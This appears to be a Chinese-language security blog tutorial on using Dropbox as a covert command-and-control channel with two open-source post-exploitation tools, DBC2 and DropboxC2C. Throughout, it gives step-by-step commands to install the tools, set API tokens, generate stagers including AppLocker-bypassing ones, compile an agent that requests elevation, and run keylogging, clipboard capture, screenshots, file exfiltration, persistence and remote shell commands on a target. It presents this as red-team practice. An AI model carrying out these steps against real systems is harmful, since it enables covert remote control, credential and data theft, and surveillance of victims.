命令控制之DropBox

2021-07-21 17:12:53 浏览数 (1)

DropBox简介

目前,许多公司使用DropBox作为共享工具和托管数据,因此对DropBox服务器的流量被限制或归类为恶意域是不常见的,由此可以通过滥用DropBox的功能并将其用作命令和控制中转工具来使用。

DropBoxC2

关于DropBox利用可以通过DropBoxC2工具来实现,该工具使用DropBox API在控制端和被控制端之间进行通信,因为它完全在内存中运行并且流量被加密,所以相对而言较为隐蔽,工具体现架构如下所示:

在第一次使用Dropbox之前,我们需要先去官网(http://www.dropboxchina.com )创建一个账号(Al1ex/xxxxxx@163.com/xxxxxxx):

之后通过邮箱进行激活:

工具安装
代码语言:javascript复制
git clone https://github.com/Arno0x/DBC2 dbc2
cd dbc2
pip install -r requirements.txt
chmod  x dropboxC2.py
工具使用
基本配置

在控制端与被控制端之间的通信需要通过DropBox API来执行,因此我们首先需要创建新的应用程序才能生成API秘钥:

https://www.dropbox.com/developers/apps/create

之后生成AccessToken:

之后我们需要在DropBoxC2项目下的config.py文件(defaultAccessToken参数)中输入API密钥,否则用户需要在每次DBC2启动时都需要插入密钥:

当DropBoxC2运行时,用户需要设置一个主密码,它将用于加密代理和控制器之间的所有数据

在使用DropBox之前我们需要设置Modules和Stage:

代码语言:javascript复制
publishStage dbc2_agent.exe

之后将在DropBox上生成一个文件,该文件将进行XOR加密:

生成载荷

Dropbox C2可以生成从简单的.bat文件到可以绕过AppLocker的msbuild和sct的各种stager,以及从rubber ducky到macro的各种stager,从而在红队交战期间提供多个利用场景的能力,我们可以在终端输入"genStager"加空格然后两下tab可列出所有的可使用genStager类型:

我们可以通过以下命令可轻松生成Stager:

代码语言:javascript复制
genStager oneliner default
代码语言:javascript复制
genStager batch default

从stager在目标主机上执行的时刻开始,将会生成一个Agent ID值并将其与Beacon相关联:

同时将在DropBox上生成两个文件,这两个文件将声明代理的状态以及将传递给目标的命令,这些文件的内容是加密的,以保持通信的机密性

然后可以使用代理ID以便与目标交互并执行命令

DropBoxC2还具有传输文件功能,通过交互式shell执行PowerShell命令以及从目标主机获取屏幕截图的功能,它还支持键盘记录功能,可以启动另一个进程,一些命令可以在下面找到:

上载文件
代码语言:javascript复制
sendFile
下载文件
代码语言:javascript复制
getFile

首先创建一个文件:

之后下载文件,需要注意的是在Windows系统中路径信息的处理需要使用"\"而非"":

桌面截屏

代码语言:javascript复制
screenshot

键盘记录

代码语言:javascript复制
keylogger start

粘贴板记录

代码语言:javascript复制
clipboardLogger start

创建计划任务

代码语言:javascript复制
persist

此外,还可以使用各种PowerShell模块来执行其他任务,例如获取反向shell,转储密码哈希或从内存中检索明文密码等:

DropboxC2C
工具介绍

Dropboxc2c是一个post-exploitation代理,它使用dropbox基础结构进行命令和控制操作。

工具使用
环境搭建

下载工具到本地:

代码语言:javascript复制
git clone https://github.com/0x09AL/DropboxC2C.git

安装所需要的依赖项:

修改main.py和agent.py中的API Key(DropBox中的Access Key): https://www.dropbox.com/developers/apps/info/uiozsdgxxxxxxxxxxxnfa8

之后在目标Windows(需要Python环境)主机上执行以下命令编译一个agent.exe,需要注意的是需要使用Python2,同时要安装requirements.txt文件中的第三方依赖包(如果下次再编译时需要删除dist、build文件夹以及agent.spec文件):

代码语言:javascript复制
pip install -r requirements.txt
pip install dis3
pip install pypiwin32  #笔者在window中运行exe文件时报错,读者可以自我根据环境来安装与编译,建议CMD下运行
pyinstaller --onefile --uac-admin agent.py

#建议在目标主机上进行编译,因为笔者这边测试时发现在另一台win主机上编译好的在目标主机上无法正常执行,跨平台较差

之后在攻击主机上运行main.py文件

代码语言:javascript复制
python main.py
上线操作

之后在目标主机上执行agent.exe文件

之后再攻击主机中可以看到上线:

使用帮助

代码语言:javascript复制
help

交互模式

代码语言:javascript复制
interact DESKTOP-H24D0M0-79461740925497

执行命令

其他操作

从help中我们可以看到还有键盘记录、bypassuac、权限维持等功能,这些不再赘述,在使用中结合场景进行使用即可:

相关链接

https://github.com/Arno0x/DBC2

https://github.com/0x09AL/DropboxC2C

0 人点赞